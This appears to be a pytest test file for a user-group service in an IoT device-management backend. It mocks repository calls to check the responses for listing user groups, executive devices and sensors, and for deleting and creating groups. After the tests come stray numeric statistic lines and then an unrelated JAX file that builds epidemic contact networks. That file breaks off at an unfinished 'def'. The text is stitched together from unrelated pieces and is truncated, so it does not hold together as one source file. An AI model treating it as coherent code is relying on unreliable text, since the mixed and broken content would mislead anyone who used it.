'get_user_groups_by_device_group_id' ) as get_user_groups_by_device_group_id_mock: get_user_groups_by_device_group_id_mock.return_value = [first_user_group, second_user_group, third_user_group] with patch.object(DeviceGroupRepository, 'get_device_group_by_user_id_and_product_key' ) as get_device_group_by_user_id_and_product_key_mock: get_device_group_by_user_id_and_product_key_mock.return_value = device_group result, result_values = user_group_service.get_list_of_user_groups( device_group.product_key, admin.id, True ) assert result == Constants.RESPONSE_MESSAGE_OK assert result_values['userGroups'] == expected_output_values def test_get_list_of_user_groups_should_return_return_error_message_when_user_is_admin_in_different_device_group( create_device_group, create_admin, get_user_group_default_values, create_user_group, ): user_group_service = UserGroupService.get_instance() device_group = create_device_group() device_group.admin_id += 1 admin = create_admin() with patch.object( DeviceGroupRepository, 'get_device_group_by_product_key' ) as get_device_group_by_product_key_mock: get_device_group_by_product_key_mock.return_value = device_group with patch.object(AdminRepository, 'get_admin_by_id') as get_admin_by_id_mock: get_admin_by_id_mock.return_value = admin result, result_values = user_group_service.get_list_of_user_groups( device_group.product_key, admin.id, True ) assert result == Constants.RESPONSE_MESSAGE_USER_DOES_NOT_HAVE_PRIVILEGES assert result_values is None def test_get_list_of_user_groups_should_return_return_error_message_when_admin_not_found( create_device_group, get_user_group_default_values, create_user_group, ): user_group_service = UserGroupService.get_instance() device_group = create_device_group() with patch.object( DeviceGroupRepository, 'get_device_group_by_product_key' ) as get_device_group_by_product_key_mock: get_device_group_by_product_key_mock.return_value = device_group with patch.object(AdminRepository, 'get_admin_by_id') as get_admin_by_id_mock: get_admin_by_id_mock.return_value = None result, result_values = user_group_service.get_list_of_user_groups( device_group.product_key, 'admin.id', True ) assert result == Constants.RESPONSE_MESSAGE_ADMIN_NOT_DEFINED assert result_values is None def test_get_list_of_user_groups_should_return_error_message_when_user_not_in_any_user_group( create_device_group, create_user, get_user_group_default_values, create_user_group, ): user_group_service = UserGroupService.get_instance() device_group = create_device_group() user = create_user() with patch.object( DeviceGroupRepository, 'get_device_group_by_product_key' ) as get_device_group_by_product_key_mock: get_device_group_by_product_key_mock.return_value = device_group with patch.object(UserRepository, 'get_user_by_id') as get_user_by_id_mock: get_user_by_id_mock.return_value = user with patch.object(DeviceGroupRepository, 'get_device_group_by_user_id_and_product_key' ) as get_device_group_by_user_id_and_product_key_mock: get_device_group_by_user_id_and_product_key_mock.return_value = None result, result_values = user_group_service.get_list_of_user_groups( device_group.product_key, user.id, False ) assert result == Constants.RESPONSE_MESSAGE_USER_DOES_NOT_HAVE_PRIVILEGES assert result_values is None def test_get_list_of_user_groups_should_return_error_message_when_device_group_not_found( create_device_group ): user_group_service = UserGroupService.get_instance() with patch.object( DeviceGroupRepository, 'get_device_group_by_product_key' ) as get_device_group_by_product_key_mock: get_device_group_by_product_key_mock.return_value = None result, result_values = user_group_service.get_list_of_user_groups( 'device_group.product_key', 'user.id', False ) assert result == Constants.RESPONSE_MESSAGE_PRODUCT_KEY_NOT_FOUND assert result_values is None @pytest.mark.parametrize("product_key, user_id, expected_result", [ ('product_key', None, Constants.RESPONSE_MESSAGE_USER_NOT_DEFINED), (None, 'user_id', Constants.RESPONSE_MESSAGE_PRODUCT_KEY_NOT_FOUND) ]) def test_get_list_of_user_groups_should_return_error_message_when_one_of_parameters_is_none( product_key, user_id, expected_result ): user_group_service = UserGroupService.get_instance() result, result_values = user_group_service.get_list_of_user_groups( product_key, user_id, False ) assert result == expected_result assert result_values is None def test_get_list_of_executive_devices_should_return_list_of_devices_infos_when_valid_request( create_executive_device, create_device_group, create_user_group, create_user, create_formula): user_group_service = UserGroupService.get_instance() device_group = create_device_group() first_device = create_executive_device() first_device.name = "device 1" first_device.device_key = "device key 1" first_device.state = "state 1" first_device.is_active = False formula = create_formula() formula.name = "formula name" first_device.formula_id = formula.id second_device = create_executive_device() second_device.name = "device 2" second_device.device_key = "device key 2" second_device.state = "state 2" second_device.is_active = True second_device.formula_id = formula.id user = create_user() user_group = create_user_group() user_group.users = [user] expected_output_values = [ { "name": first_device.name, "deviceKey": first_device.device_key, "state": 1, "isActive": first_device.is_active, "formulaName": formula.name, "isFormulaUsed": first_device.is_formula_used }, { "name": second_device.name, "deviceKey": second_device.device_key, "state": 1, "isActive": second_device.is_active, "formulaName": formula.name, "isFormulaUsed": second_device.is_formula_used } ] with patch.object(DeviceGroupRepository, 'get_device_group_by_product_key') as get_device_group_by_product_key_mock: get_device_group_by_product_key_mock.return_value = device_group with patch.object(UserGroupRepository, 'get_user_group_by_name_and_device_group_id') as get_user_group_by_name_device_group_id_mock: get_user_group_by_name_device_group_id_mock.return_value = user_group with patch.object(UserRepository, 'get_user_by_id') as get_user_by_id_mock: get_user_by_id_mock.return_value = user with patch.object( ExecutiveDeviceRepository, 'get_executive_devices_by_user_group_id' ) as get_executive_devices_by_user_group_id_mock: get_executive_devices_by_user_group_id_mock.return_value = [ first_device, second_device] with patch.object(FormulaRepository, 'get_formula_by_id') as get_formula_by_id_mock: get_formula_by_id_mock.return_value = formula with patch.object(ExecutiveDeviceService, 'get_executive_device_state_value') as get_executive_device_state_value_mock: get_executive_device_state_value_mock.return_value = 1 result, result_values = user_group_service.get_list_of_executive_devices( device_group.product_key, user_group.name, user.id ) assert result == Constants.RESPONSE_MESSAGE_OK assert result_values == expected_output_values def test_get_list_of_executive_devices_should_return_list_of_devices_infos_when_device_does_not_have_formula( create_executive_device, create_device_group, create_user_group, create_user): user_group_service = UserGroupService.get_instance() device_group = create_device_group() first_device = create_executive_device() first_device.name = "device 1" first_device.device_key = "device key 1" first_device.state = "state 1" first_device.is_active = False first_device.formula_id = None second_device = create_executive_device() second_device.name = "device 2" second_device.device_key = "device key 2" second_device.state = "state 2" second_device.is_active = True second_device.formula_id = None user = create_user() user_group = create_user_group() user_group.users = [user] expected_output_values = [ { "name": first_device.name, "deviceKey": first_device.device_key, "state": 1, "isActive": first_device.is_active, "formulaName": None, "isFormulaUsed": first_device.is_formula_used }, { "name": second_device.name, "deviceKey": second_device.device_key, "state": 1, "isActive": second_device.is_active, "formulaName": None, "isFormulaUsed": second_device.is_formula_used } ] with patch.object(DeviceGroupRepository, 'get_device_group_by_product_key') as get_device_group_by_product_key_mock: get_device_group_by_product_key_mock.return_value = device_group with patch.object( UserGroupRepository, 'get_user_group_by_name_and_device_group_id' ) as get_user_group_by_name_device_group_id_mock: get_user_group_by_name_device_group_id_mock.return_value = user_group with patch.object(UserRepository, 'get_user_by_id') as get_user_by_id_mock: get_user_by_id_mock.return_value = user with patch.object( ExecutiveDeviceRepository, 'get_executive_devices_by_user_group_id' ) as get_executive_devices_by_user_group_id_mock: get_executive_devices_by_user_group_id_mock.return_value = [first_device, second_device] with patch.object(FormulaRepository, 'get_formula_by_id') as get_formula_by_id_mock: get_formula_by_id_mock.return_value = None with patch.object(ExecutiveDeviceService, 'get_executive_device_state_value') as get_executive_device_state_value_mock: get_executive_device_state_value_mock.return_value = 1 result, result_values = user_group_service.get_list_of_executive_devices( device_group.product_key, user_group.name, user.id ) assert result == Constants.RESPONSE_MESSAGE_OK assert result_values == expected_output_values def test_get_list_of_executive_devices_should_return_empty_list_of_devices_infos_when_not_devices_in_user_group( create_device_group, create_user_group, create_user): user_group_service = UserGroupService.get_instance() device_group = create_device_group() user = create_user() user_group = create_user_group() user_group.users = [user] with patch.object(DeviceGroupRepository, 'get_device_group_by_product_key') as get_device_group_by_product_key_mock: get_device_group_by_product_key_mock.return_value = device_group with patch.object(UserGroupRepository, 'get_user_group_by_name_and_device_group_id') as get_user_group_by_name_device_group_id_mock: get_user_group_by_name_device_group_id_mock.return_value = user_group with patch.object(UserRepository, 'get_user_by_id') as get_user_by_id_mock: get_user_by_id_mock.return_value = user with patch.object( ExecutiveDeviceRepository, 'get_executive_devices_by_user_group_id' ) as get_executive_devices_by_user_group_id_mock: get_executive_devices_by_user_group_id_mock.return_value = [] result, result_values = user_group_service.get_list_of_executive_devices( device_group.product_key, user_group.name, user.id ) assert result == Constants.RESPONSE_MESSAGE_OK assert result_values == [] def test_get_list_of_executive_devices_should_return_error_message_when_user_not_in_user_group( create_device_group, create_user_group, create_user): user_group_service = UserGroupService.get_instance() device_group = create_device_group() user = create_user() user_group = create_user_group() with patch.object(DeviceGroupRepository, 'get_device_group_by_product_key') as get_device_group_by_product_key_mock: get_device_group_by_product_key_mock.return_value = device_group with patch.object(UserGroupRepository, 'get_user_group_by_name_and_device_group_id') as get_user_group_by_name_device_group_id_mock: get_user_group_by_name_device_group_id_mock.return_value = user_group with patch.object(UserRepository, 'get_user_by_id') as get_user_by_id_mock: get_user_by_id_mock.return_value = user result, result_values = user_group_service.get_list_of_executive_devices( device_group.product_key, user_group.name, user.id ) assert result == Constants.RESPONSE_MESSAGE_USER_DOES_NOT_HAVE_PRIVILEGES assert result_values is None def test_get_list_of_executive_devices_should_return_error_message_when_no_user_found( create_device_group, create_user_group): user_group_service = UserGroupService.get_instance() device_group = create_device_group() user_group = create_user_group() with patch.object(DeviceGroupRepository, 'get_device_group_by_product_key') as get_device_group_by_product_key_mock: get_device_group_by_product_key_mock.return_value = device_group with patch.object(UserGroupRepository, 'get_user_group_by_name_and_device_group_id') as get_user_group_by_name_device_group_id_mock: get_user_group_by_name_device_group_id_mock.return_value = user_group with patch.object(UserRepository, 'get_user_by_id') as get_user_by_id_mock: get_user_by_id_mock.return_value = None result, result_values = user_group_service.get_list_of_executive_devices( device_group.product_key, user_group.name, 1 ) assert result == Constants.RESPONSE_MESSAGE_USER_NOT_DEFINED assert result_values is None def test_get_list_of_executive_devices_should_return_error_message_when_no_user_group_found(create_device_group): user_group_service = UserGroupService.get_instance() device_group = create_device_group() with patch.object(DeviceGroupRepository, 'get_device_group_by_product_key') as get_device_group_by_product_key_mock: get_device_group_by_product_key_mock.return_value = device_group with patch.object(UserGroupRepository, 'get_user_group_by_name_and_device_group_id') as get_user_group_by_name_device_group_id_mock: get_user_group_by_name_device_group_id_mock.return_value = None result, result_values = user_group_service.get_list_of_executive_devices( device_group.product_key, "user_group_name", 1 ) assert result == Constants.RESPONSE_MESSAGE_USER_GROUP_NOT_DEFINED assert result_values is None def test_get_list_of_executive_devices_should_return_error_message_when_no_device_group(): user_group_service = UserGroupService.get_instance() with patch.object(DeviceGroupRepository, 'get_device_group_by_product_key') as get_device_group_by_product_key_mock: get_device_group_by_product_key_mock.return_value = None result, result_values = user_group_service.get_list_of_executive_devices( "device_group_product_key", "user_group_name", 1 ) assert result == Constants.RESPONSE_MESSAGE_PRODUCT_KEY_NOT_FOUND assert result_values is None def test_get_list_of_sensors_should_return_list_of_devices_infos_when_valid_request( create_sensor, create_sensor_type, create_sensor_reading, create_sensor_reading_enumerator, create_device_group, create_user_group, create_user): user_group_service = UserGroupService.get_instance() device_group = create_device_group() first_sensor = create_sensor() second_sensor = create_sensor() first_sensor.name = 'sensor 1' second_sensor.name = 'sensor 2' first_sensor.device_key = 'sensor device_key 1' second_sensor.device_key = 'sensor device_key 2' first_sensor.is_active = True second_sensor.is_active = False user = create_user() user_group = create_user_group() user_group.users = [user] expected_output_values = [ { "name": first_sensor.name, "deviceKey": first_sensor.device_key, "isActive": first_sensor.is_active, 'sensorReadingValue': 1 }, { "name": second_sensor.name, "deviceKey": second_sensor.device_key, "isActive": second_sensor.is_active, 'sensorReadingValue': 1 } ] with patch.object(DeviceGroupRepository, 'get_device_group_by_product_key') as get_device_group_by_product_key_mock: get_device_group_by_product_key_mock.return_value = device_group with patch.object(UserGroupRepository, 'get_user_group_by_name_and_device_group_id') as get_user_group_by_name_device_group_id_mock: get_user_group_by_name_device_group_id_mock.return_value = user_group with patch.object(UserRepository, 'get_user_by_id') as get_user_by_id_mock: get_user_by_id_mock.return_value = user with patch.object( SensorRepository, 'get_sensors_by_user_group_id' ) as get_sensors_by_user_group_id_mock: get_sensors_by_user_group_id_mock.return_value = [ first_sensor, second_sensor] with patch.object(SensorService, 'get_senor_reading_value' ) as get_senor_reading_value_mock: get_senor_reading_value_mock.return_value = 1 result, result_values = user_group_service.get_list_of_sensors( device_group.product_key, user_group.name, user.id ) assert result == Constants.RESPONSE_MESSAGE_OK assert result_values == expected_output_values def test_get_list_of_sensors_should_return_empty_list_of_sensors_infos_when_no_sensors_in_user_group( create_device_group, create_user_group, create_user): user_group_service = UserGroupService.get_instance() device_group = create_device_group() user = create_user() user_group = create_user_group() user_group.users = [user] with patch.object(DeviceGroupRepository, 'get_device_group_by_product_key') as get_device_group_by_product_key_mock: get_device_group_by_product_key_mock.return_value = device_group with patch.object(UserGroupRepository, 'get_user_group_by_name_and_device_group_id') as get_user_group_by_name_device_group_id_mock: get_user_group_by_name_device_group_id_mock.return_value = user_group with patch.object(UserRepository, 'get_user_by_id') as get_user_by_id_mock: get_user_by_id_mock.return_value = user with patch.object( SensorRepository, 'get_sensors_by_user_group_id' ) as get_sensors_by_user_group_id_mock: get_sensors_by_user_group_id_mock.return_value = [] result, result_values = user_group_service.get_list_of_sensors( device_group.product_key, user_group.name, user.id ) assert result == Constants.RESPONSE_MESSAGE_OK assert result_values == [] def test_get_list_of_sensors_should_return_error_message_when_user_not_in_user_group( create_device_group, create_user_group, create_user): user_group_service = UserGroupService.get_instance() device_group = create_device_group() user = create_user() user_group = create_user_group() with patch.object(DeviceGroupRepository, 'get_device_group_by_product_key') as get_device_group_by_product_key_mock: get_device_group_by_product_key_mock.return_value = device_group with patch.object(UserGroupRepository, 'get_user_group_by_name_and_device_group_id') as get_user_group_by_name_device_group_id_mock: get_user_group_by_name_device_group_id_mock.return_value = user_group with patch.object(UserRepository, 'get_user_by_id') as get_user_by_id_mock: get_user_by_id_mock.return_value = user result, result_values = user_group_service.get_list_of_sensors( device_group.product_key, user_group.name, user.id ) assert result == Constants.RESPONSE_MESSAGE_USER_DOES_NOT_HAVE_PRIVILEGES assert result_values is None def test_get_list_of_sensors_should_return_error_message_when_no_user_found( create_device_group, create_user_group): user_group_service = UserGroupService.get_instance() device_group = create_device_group() user_group = create_user_group() with patch.object(DeviceGroupRepository, 'get_device_group_by_product_key') as get_device_group_by_product_key_mock: get_device_group_by_product_key_mock.return_value = device_group with patch.object(UserGroupRepository, 'get_user_group_by_name_and_device_group_id') as get_user_group_by_name_device_group_id_mock: get_user_group_by_name_device_group_id_mock.return_value = user_group with patch.object(UserRepository, 'get_user_by_id') as get_user_by_id_mock: get_user_by_id_mock.return_value = None result, result_values = user_group_service.get_list_of_sensors( device_group.product_key, user_group.name, 1 ) assert result == Constants.RESPONSE_MESSAGE_USER_NOT_DEFINED assert result_values is None def test_get_list_of_sensors_should_return_error_message_when_no_user_group_found(create_device_group): user_group_service = UserGroupService.get_instance() device_group = create_device_group() with patch.object(DeviceGroupRepository, 'get_device_group_by_product_key') as get_device_group_by_product_key_mock: get_device_group_by_product_key_mock.return_value = device_group with patch.object(UserGroupRepository, 'get_user_group_by_name_and_device_group_id') as get_user_group_by_name_device_group_id_mock: get_user_group_by_name_device_group_id_mock.return_value = None result, result_values = user_group_service.get_list_of_sensors( device_group.product_key, "user_group_name", 1 ) assert result == Constants.RESPONSE_MESSAGE_USER_GROUP_NOT_DEFINED assert result_values is None def test_get_list_of_sensors_should_return_error_message_when_no_device_group(): user_group_service = UserGroupService.get_instance() with patch.object(DeviceGroupRepository, 'get_device_group_by_product_key') as get_device_group_by_product_key_mock: get_device_group_by_product_key_mock.return_value = None result, result_values = user_group_service.get_list_of_sensors( "device_group_product_key", "user_group_name", 1 ) assert result == Constants.RESPONSE_MESSAGE_PRODUCT_KEY_NOT_FOUND assert result_values is None def test_delete_user_group_should_delete_user_group_when_right_parameters_are_passed( create_user_group, create_device_group): user_group_service = UserGroupService.get_instance() user_group = create_user_group() admin_id = 1 is_admin = True admin_mock = Mock() admin_mock.id.return_value = admin_id device_group = create_device_group() device_group.admin_id = admin_mock.id with patch.object( DeviceGroupRepository, 'get_device_group_by_product_key' ) as get_device_group_by_product_key_mock: get_device_group_by_product_key_mock.return_value = device_group with patch.object( AdminRepository, 'get_admin_by_id' ) as get_admin_by_id_mock: get_admin_by_id_mock.return_value = admin_mock with patch.object( UserGroupRepository, 'get_user_group_by_name_and_device_group_id' ) as get_user_group_by_name_and_device_group_id_mock: get_user_group_by_name_and_device_group_id_mock.return_value = user_group with patch.object( UserGroupRepository, 'delete' ) as delete_mock: delete_mock.return_value = True result = user_group_service.delete_user_group(user_group.name, 'product_key', admin_id, is_admin) assert result == Constants.RESPONSE_MESSAGE_OK delete_mock.assert_called_once_with(user_group) def test_delete_user_group_should__return_error_message_when_unsuccessful_db_deletion( create_user_group, create_device_group): user_group_service = UserGroupService.get_instance() user_group = create_user_group() admin_id = 1 is_admin = True admin_mock = Mock() admin_mock.id.return_value = admin_id device_group = create_device_group() device_group.admin_id = admin_mock.id with patch.object( DeviceGroupRepository, 'get_device_group_by_product_key' ) as get_device_group_by_product_key_mock: get_device_group_by_product_key_mock.return_value = device_group with patch.object( AdminRepository, 'get_admin_by_id' ) as get_admin_by_id_mock: get_admin_by_id_mock.return_value = admin_mock with patch.object( UserGroupRepository, 'get_user_group_by_name_and_device_group_id' ) as get_user_group_by_name_and_device_group_id_mock: get_user_group_by_name_and_device_group_id_mock.return_value = user_group with patch.object( UserGroupRepository, 'delete' ) as delete_mock: delete_mock.return_value = False result = user_group_service.delete_user_group(user_group.name, 'product_key', admin_id, is_admin) assert result == Constants.RESPONSE_MESSAGE_ERROR delete_mock.assert_called_once_with(user_group) def test_delete_user_group_should_return_error_message_when_user_group_not_found( create_device_group): user_group_service = UserGroupService.get_instance() admin_id = 1 is_admin = True admin_mock = Mock() admin_mock.id.return_value = admin_id device_group = create_device_group() device_group.admin_id = admin_mock.id with patch.object( DeviceGroupRepository, 'get_device_group_by_product_key' ) as get_device_group_by_product_key_mock: get_device_group_by_product_key_mock.return_value = device_group with patch.object( AdminRepository, 'get_admin_by_id' ) as get_admin_by_id_mock: get_admin_by_id_mock.return_value = admin_mock with patch.object( UserGroupRepository, 'get_user_group_by_name_and_device_group_id' ) as get_user_group_by_name_and_device_group_id_mock: get_user_group_by_name_and_device_group_id_mock.return_value = None result = user_group_service.delete_user_group('user_group.name', 'product_key', admin_id, is_admin) assert result == Constants.RESPONSE_MESSAGE_USER_GROUP_NAME_NOT_FOUND def test_delete_user_group_should_return_error_message_when_admin_in_not_admin( create_device_group): user_group_service = UserGroupService.get_instance() admin_id = 1 is_admin = False admin_mock = Mock() admin_mock.id.return_value = admin_id device_group = create_device_group() device_group.admin_id = admin_mock.id with patch.object( DeviceGroupRepository, 'get_device_group_by_product_key' ) as get_device_group_by_product_key_mock: get_device_group_by_product_key_mock.return_value = device_group with patch.object( AdminRepository, 'get_admin_by_id' ) as get_admin_by_id_mock: get_admin_by_id_mock.return_value = admin_mock result = user_group_service.delete_user_group('user_group.name', 'product_key', admin_id, is_admin) assert result == Constants.RESPONSE_MESSAGE_USER_DOES_NOT_HAVE_PRIVILEGES def test_delete_user_group_should_return_error_message_when_admin_in_not_assigned_to_device_group( create_device_group): user_group_service = UserGroupService.get_instance() admin_id = 1 is_admin = True admin_mock = Mock() admin_mock.id.return_value = admin_id device_group = create_device_group() device_group.admin_id = admin_id + 1 with patch.object( DeviceGroupRepository, 'get_device_group_by_product_key' ) as get_device_group_by_product_key_mock: get_device_group_by_product_key_mock.return_value = device_group with patch.object( AdminRepository, 'get_admin_by_id' ) as get_admin_by_id_mock: get_admin_by_id_mock.return_value = admin_mock result = user_group_service.delete_user_group('user_group.name', 'product_key', admin_id, is_admin) assert result == Constants.RESPONSE_MESSAGE_USER_DOES_NOT_HAVE_PRIVILEGES def test_delete_user_group_should_return_error_message_when_admin_in_not_found( create_device_group): user_group_service = UserGroupService.get_instance() admin_id = 1 is_admin = False device_group = create_device_group() with patch.object( DeviceGroupRepository, 'get_device_group_by_product_key' ) as get_device_group_by_product_key_mock: get_device_group_by_product_key_mock.return_value = device_group with patch.object( AdminRepository, 'get_admin_by_id' ) as get_admin_by_id_mock: get_admin_by_id_mock.return_value = None result = user_group_service.delete_user_group('user_group.name', 'product_key', admin_id, is_admin) assert result == Constants.RESPONSE_MESSAGE_USER_DOES_NOT_HAVE_PRIVILEGES def test_delete_user_group_should_return_error_message_when_device_group_not_found( create_device_group): user_group_service = UserGroupService.get_instance() admin_id = 1 is_admin = False with patch.object( DeviceGroupRepository, 'get_device_group_by_product_key' ) as get_device_group_by_product_key_mock: get_device_group_by_product_key_mock.return_value = None result = user_group_service.delete_user_group('user_group.name', 'product_key', admin_id, is_admin) assert result == Constants.RESPONSE_MESSAGE_PRODUCT_KEY_NOT_FOUND def test_create_user_group_in_device_group_should_create_user_group_when_valid_product_key_user_group_data_and_user( create_device_group): user_group_service_instance = UserGroupService.get_instance() device_group = create_device_group() with patch.object( DeviceGroupRepository, 'get_device_group_by_user_id_and_product_key' ) as get_device_group_by_user_id_and_product_key_mock: get_device_group_by_user_id_and_product_key_mock.return_value = device_group with patch.object( UserGroupRepository, 'get_user_group_by_name_and_device_group_id' ) as get_user_group_by_name_and_device_group_id_mock: get_user_group_by_name_and_device_group_id_mock.return_value = None with patch.object( UserGroupRepository, 'save' ) as save_mock: save_mock.return_value = True result = user_group_service_instance.create_user_group_in_device_group( device_group.product_key, 'user_group_name', 'password', 'user_id' ) assert result assert result == Constants.RESPONSE_MESSAGE_CREATED def test_create_user_group_in_device_group_should_return_error_message_when_save_failed( create_device_group): user_group_service_instance = UserGroupService.get_instance() device_group = create_device_group() with patch.object( DeviceGroupRepository, 'get_device_group_by_user_id_and_product_key' ) as get_device_group_by_user_id_and_product_key_mock: get_device_group_by_user_id_and_product_key_mock.return_value = device_group with patch.object( UserGroupRepository, 'get_user_group_by_name_and_device_group_id' ) as get_user_group_by_name_and_device_group_id_mock: get_user_group_by_name_and_device_group_id_mock.return_value = None with patch.object( UserGroupRepository, 'save' ) as save_mock: save_mock.return_value = False result = user_group_service_instance.create_user_group_in_device_group( device_group.product_key, 'user_group_name', 'password', 'user_id' ) assert result assert result == Constants.RESPONSE_MESSAGE_ERROR def test_create_user_group_in_device_group_should_return_product_key_not_found_when_no_device_group(): user_group_service_instance = UserGroupService.get_instance() with patch.object( DeviceGroupRepository, 'get_device_group_by_user_id_and_product_key' ) as get_device_group_by_user_id_and_product_key_mock: get_device_group_by_user_id_and_product_key_mock.return_value = None result = user_group_service_instance.create_user_group_in_device_group( 'product_key', 'user_group_name', 'password', 'user_id' ) assert result assert result == Constants.RESPONSE_MESSAGE_PRODUCT_KEY_NOT_FOUND def test_create_user_group_in_device_group_should_return_user_group_already_exists_when_duplicated_user_group_name( create_device_group, create_user_group): user_group_service_instance = UserGroupService.get_instance() device_group = create_device_group() user_group = create_user_group() with patch.object( DeviceGroupRepository, 'get_device_group_by_user_id_and_product_key' ) as get_device_group_by_user_id_and_product_key_mock: get_device_group_by_user_id_and_product_key_mock.return_value = device_group with patch.object( UserGroupRepository, 'get_user_group_by_name_and_device_group_id' ) as get_user_group_by_name_and_device_group_id_mock: get_user_group_by_name_and_device_group_id_mock.return_value = user_group result = user_group_service_instance.create_user_group_in_device_group( device_group.product_key, 'user_group_name', 'password', 'user_id' ) assert result assert result == Constants.RESPONSE_MESSAGE_USER_GROUP_ALREADY_EXISTS @pytest.mark.parametrize("product_key, user_group_name, user_id, password, expected_result", [ ('product_key', 'user_group_name', 'user_id', None, Constants.RESPONSE_MESSAGE_WRONG_PASSWORD), ('product_key', 'user_group_name', None, 'password', Constants.RESPONSE_MESSAGE_USER_NOT_DEFINED), ('product_key', None, 'user_id', 'password', Constants.RESPONSE_MESSAGE_USER_GROUP_NOT_DEFINED), (None, 'user_group_name', 'user_id', 'password', Constants.RESPONSE_MESSAGE_PRODUCT_KEY_NOT_FOUND) ]) def test_create_user_group_in_device_group_should_return_error_message_when_no_parameter_given( product_key, user_group_name, user_id, password, expected_result): user_group_service_instance = UserGroupService.get_instance() result = user_group_service_instance.create_user_group_in_device_group( product_key, user_group_name, password, user_id ) assert result assert result == expected_result
38.3071
120
0.684643
5,480
44,781
4.998358
0.023175
0.104487
0.050601
0.057829
0.936183
0.925012
0.91154
0.902377
0.901062
0.895915
0
0.001212
0.262946
44,781
1,168
121
38.339897
0.828668
0
0
0.81299
0
0
0.085282
0.04953
0
0
0
0
0.066069
1
0.035834
false
0.013438
0.015677
0
0.051512
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
3ed9557bbbef18cf35692563556455c8502841d0
9,324
py
Python
networks/network_dynamics_no_interventions.py
biomac-lab/COVID_schools_dashboard
173d1b9df5735e65ec0bf2594cf942ccbbad9f5e
[ "Apache-2.0" ]
null
null
null
networks/network_dynamics_no_interventions.py
biomac-lab/COVID_schools_dashboard
173d1b9df5735e65ec0bf2594cf942ccbbad9f5e
[ "Apache-2.0" ]
null
null
null
networks/network_dynamics_no_interventions.py
biomac-lab/COVID_schools_dashboard
173d1b9df5735e65ec0bf2594cf942ccbbad9f5e
[ "Apache-2.0" ]
2
2021-09-25T15:37:45.000Z
2021-10-01T17:48:28.000Z
from jax.dtypes import dtype import jax.numpy as np import numpy as np2 from jax import random ### No intervention functions def morning_set(Graphs_matrix, hh_occupation=0.9): # load networks matrix_household = Graphs_matrix[0] hh_row = np.asarray(np2.asarray(matrix_household[0])) hh_col = np.asarray(np2.asarray(matrix_household[1])) hh_data = np.asarray(np2.asarray(matrix_household[2])) matrix_preschool = Graphs_matrix[1] preschl_row = np.asarray(np2.asarray(matrix_preschool[0])) preschl_col = np.asarray(np2.asarray(matrix_preschool[1])) preschl_data = np.asarray(np2.asarray(matrix_preschool[2])) matrix_primary = Graphs_matrix[2] primary_row = np.asarray(np2.asarray(matrix_primary[0])) primary_col = np.asarray(np2.asarray(matrix_primary[1])) primary_data = np.asarray(np2.asarray(matrix_primary[2])) matrix_highschool = Graphs_matrix[3] highschl_row = np.asarray(np2.asarray(matrix_highschool[0])) highschl_col = np.asarray(np2.asarray(matrix_highschool[1])) highschl_data = np.asarray(np2.asarray(matrix_highschool[2])) matrix_work = Graphs_matrix[4] work_row = np.asarray(np2.asarray(matrix_work[0])) work_col = np.asarray(np2.asarray(matrix_work[1])) work_data = np.asarray(np2.asarray(matrix_work[2])) matrix_community = Graphs_matrix[5] comm_row = np.asarray(np2.asarray(matrix_community[0])) comm_col = np.asarray(np2.asarray(matrix_community[1])) comm_data = np.asarray(np2.asarray(matrix_community[2])) # turn off school and work layers preschl_data_set = 0*preschl_data primary_data_set = 0*primary_data highschl_data_set = 0*highschl_data work_data_set = 0*work_data # turn on portions of households and community comm_occupation = 1 - hh_occupation length = int(hh_data.shape[0]/2) hh_data_select = np.repeat( random.bernoulli(random.PRNGKey(0),p=(hh_occupation), shape=(length,)), 2) hh_data_set = hh_data_select.reshape(hh_data_select.shape[0],1)*hh_data length = int(comm_data.shape[0]/2) comm_data_select = np.repeat( random.bernoulli(random.PRNGKey(0),p=(comm_occupation), shape=(length,)), 2) comm_data_set = comm_data_select.reshape(comm_data_select.shape[0],1)*comm_data # create conections args_ps = (hh_data_set,preschl_data_set,primary_data_set,highschl_data_set,work_data_set,comm_data_set) ps = np.concatenate(args_ps); ps = ps.reshape(ps.shape[0],) args_rows = (hh_row,preschl_row,primary_row,highschl_row,work_row,comm_row) rows = np.concatenate(args_rows) args_cols = (hh_col,preschl_col,primary_col,highschl_col,work_col,comm_col) cols = np.concatenate(args_cols) w = [rows.astype(np.int32),cols.astype(np.int32),ps] return w def day_set(Graphs_matrix, hh_occupation=0.3, comm_occupation=0.2): # load networks matrix_household = Graphs_matrix[0] hh_row = np.asarray(np2.asarray(matrix_household[0])) hh_col = np.asarray(np2.asarray(matrix_household[1])) hh_data = np.asarray(np2.asarray(matrix_household[2])) matrix_preschool = Graphs_matrix[1] preschl_row = np.asarray(np2.asarray(matrix_preschool[0])) preschl_col = np.asarray(np2.asarray(matrix_preschool[1])) preschl_data = np.asarray(np2.asarray(matrix_preschool[2])) matrix_primary = Graphs_matrix[2] primary_row = np.asarray(np2.asarray(matrix_primary[0])) primary_col = np.asarray(np2.asarray(matrix_primary[1])) primary_data = np.asarray(np2.asarray(matrix_primary[2])) matrix_highschool = Graphs_matrix[3] highschl_row = np.asarray(np2.asarray(matrix_highschool[0])) highschl_col = np.asarray(np2.asarray(matrix_highschool[1])) highschl_data = np.asarray(np2.asarray(matrix_highschool[2])) matrix_work = Graphs_matrix[4] work_row = np.asarray(np2.asarray(matrix_work[0])) work_col = np.asarray(np2.asarray(matrix_work[1])) work_data = np.asarray(np2.asarray(matrix_work[2])) matrix_community = Graphs_matrix[5] comm_row = np.asarray(np2.asarray(matrix_community[0])) comm_col = np.asarray(np2.asarray(matrix_community[1])) comm_data = np.asarray(np2.asarray(matrix_community[2])) # turn off houses and community layers length = int(hh_data.shape[0]/2) hh_data_select = np.repeat( random.bernoulli(random.PRNGKey(0),p=(hh_occupation), shape=(length,)), 2) hh_data_set = hh_data_select.reshape(hh_data_select.shape[0],1)*hh_data length = int(comm_data.shape[0]/2) comm_data_select = np.repeat( random.bernoulli(random.PRNGKey(0),p=(comm_occupation), shape=(length,)), 2) comm_data_set = comm_data_select.reshape(comm_data_select.shape[0],1)*comm_data # create conections args_ps = (hh_data_set,preschl_data_set,primary_data_set,highschl_data_set,work_data_set,comm_data_set) ps = np.concatenate(args_ps); ps = ps.reshape(ps.shape[0],) args_rows = (hh_row,preschl_row,primary_row,highschl_row,work_row,comm_row) rows = np.concatenate(args_rows) args_cols = (hh_col,preschl_col,primary_col,highschl_col,work_col,comm_col) cols = np.concatenate(args_cols) w = [rows.astype(np.int32),cols.astype(np.int32),ps] return w def 